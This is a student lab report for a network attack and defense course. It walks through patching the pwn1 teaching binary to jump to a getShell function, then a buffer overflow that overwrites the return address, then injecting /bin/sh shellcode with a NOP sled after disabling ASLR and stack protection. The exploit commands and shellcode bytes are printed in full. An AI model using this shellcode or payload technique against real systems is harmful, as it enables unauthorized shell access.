20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
实验内容
(1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分)
(2)掌握反汇编与十六进制编程器 (1分)
(3)能正确修改机器指令改变程序执行流程(1分)
(4)能正确构造payload进行bof攻击(2分)
(5)Optional:进阶,shellcode编程与注入
实践指导:实践指导
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
基础知识
熟悉Linux基本操作
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 管道命令
管道就是将输出在标准输出中的信息一次次处理最终打印在标准输出中,所以管道命令必须是接受标准输出的命令,cp、mv、ls都不是管道命令。
用法: command 1 | command2,它的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2。
举例:
ls -l | more:该命令列出当前目录中的任何文档,并把输出送给more命令作为输入,more命令分页显示文件列表。
- 重定向操作符
>
将命令输出写入文件或设备,而不是命令提示符或句柄
<
从文件而不是从键盘或句柄读入命令输入
>>
将命令输出添加到文件末尾而不删除文件中已有的信息
>&
将一个句柄的输出写入到另一个句柄的输入中
<&
从一个句柄读取输入并将其写入到另一个句柄输出中
- 常用汇编指令及寄存器的作用
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
EAX:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)
EBX:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。
ECX:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。
EDX:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。
ESI:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。
EDI:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。
EBP:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。
理解Bof的原理
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi
当然,如果还不懂,通过这个过程能对以上概念有了更进一步的理解就更好了。
指令、参数
这些东西,我自己也记不住,都是用时现查的。所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
操作成功不重要,照着敲入指令肯定会成功
重要的是理解思路。
看指导理解思路,然后抛开指导自己做。
碰到问题才能学到知识。
具体的指令可以回到指导中查。
实验步骤
一.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
0.首先对pwn1文件进行改名称
使用命令
mv
1. 使用命令
objdump -d pwn1 | more
对pwn1进行反汇编
可以观察到:
getShell函数的地址是804847d
foo函数的地址是8048491
在main函数中call后面地址为8048491 即调用了foo函数
,其对应机器指令为“e8 d7ffffff”,,e8即跳转之意。
此时此刻EIP的值应该是下条指令的地址,即80484ba。要想使main函数调用getShell函数只要算出getshell和foo地址的差值为14,则用d7减去14为c3,即为修改结果。
2.使用命令
vi 20155232lsq
3.按ESC键
4.输入如下,将显示模式切换为16进制模式
:%!xxd
5.查找要修改的内容
/d7
6.找到后前后的内容和反汇编的对比下,确认是地方是正确的
7.修改d7为c3
8.转换16进制为原格式
:%!xxd -r
9.存盘退出vi
:wq
实验结果
二.通过构造输入参数,造成BOF攻击,改变程序执行流
- 首先进行反汇编,了解程序的基本功能
注意这个函数getShell,我们的目标是触发这个函数
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
- 这里读入字符串,但系统只预留了字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
- 确认输入字符串哪几个字符会覆盖到返回地址
- 选择 “ 1111111122222222333333334444444455555555 ” 来测试,容易标识
使用
gdb
进入调试界面。
- 使用命令
info r
查看各个寄存器的值
- 此时注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。所以尝试将5的部分改为其他数字进行比对:
将“55555555”改成“12345678”,输入info r查看寄存器注意寄存器eip的值,如图“0x34333231 0x34333231”,换算成ASCⅡ码刚好是1234。1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。
只要把这四个字符替换为 getShell 的内存地址,输给20155232lsq,20155232lsq就会运行getShell。
getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
对比之前eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08
由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
可以使用16进制查看指令xxd查看input文件的内容是否如预期。
然后将input的输入,通过管道符“|”,作为20155232lsq的输入。
三.注入Shellcode并执行
- 准备一段Shellcode
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 最基本的shellcode的编写可参考许同学的文章Shellcode入门,写得非常之清楚详实。以下实践即使用该文章中生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 准备工作
使用命令
execstack -s 20155232lsq
设置堆栈可执行
- 使用命令
execstack -q 20155232lsq
查询文件的堆栈是否可执行
- 使用命令
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
- 构造要注入的payload。
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为:anything+retaddr+nops+shellcode。。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。使用命令
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
- 接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./20155232lsq
- 再开另外一个终端,用gdb来调试20155232lsq这个进程,使用命令
ps -ef | grep 20155232lsq
找到20155232lsq的进程号是:2453
启动gdb调试这个进程
通过设置断点,来查看注入buf的内存地址
disassemble foo
断在ret,这时注入的东西都大堆栈上了
ret完,就跳到我们覆盖的retaddr那个地方了
- 在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
- 使用break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址
使用x/16x 0xffffd33c查看其存放内容,看到了01020304
,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。决定将返回地址改为0xffffd340。
再执行程序,攻击成功
以上实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境**
实验中遇到的问题
- 1.出现不存在此文件或目录的情况
- 解决
++一.修改更新源sources.list++
1.切换到root用户
su
2.用文本编辑器打开source.list
leafpad /etc/apt/sources.list
3.添加下列更新源
#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
4.对软件进行一次整体更新(一共923M的更新包)
apt-get clean
apt-get update
apt-get upgrade
5.更新完kali源之后再次使用
apt-get install lib32z1
2.出现权限不够的情况
解决
使用命令
chmod +x 文件名
出现问题如图
解决
使用
apt-get install execstack
命令安装execstack即可
实验收获与感想
经过本次实验理解了BOF原理,学会了怎么运行原本不可访问的代码片段、强行修改程序执行流以及注入运行任意代码。通过修改栈所存储的指令地址,使跳转到想运行的指令。在本次实验中了解了各个寄存器存储的内容,学会了使用gdb和vi的相关指令以及通过调试设置断点来修改指令地址。
什么是漏洞?漏洞有什么危害?
漏洞:是在硬件、软件、协议的具体实现上存在的缺陷,从而可以使攻击者能够访问或破坏系统。配置不当的问题都可能被攻击者使用,威胁到系统的安全。
漏洞的危害:漏洞会影响到的范围很大,包括系统本身及其软件等。在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。这个缺陷或错误可以被不法者或者电脑黑客利用,通过植入木马、病毒等方式来攻击或控制整个电脑,从而窃取电脑中的重要资料和信息,甚至破坏系统。
评分标准:
- 截图要求:
1.1 所有操作截图主机名为本人姓名拼音
1.2 所编辑的文件名包含自己的学号
如未按如上格式要求,则相应部分报告内容不记成绩。
2 报告内容
2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
2.2掌握反汇编与十六进制编程器 (0.5分)
2.3能正确修改机器指令改变程序执行流程(0.5分)
2.4能正确构造payload进行bof攻击(0.5分)
3.报告整体观感
3.1 报告格式范围,版面整洁 加0.5。
3.2 报告排版混乱,加0分。
4.文字表述
4.1报告文字内容非常全面,表述清晰准确 加1分。
4.2报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。
4.3报告逻辑混乱表述不清或文字有明显抄袭可能 加0分。
5实践指导:
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md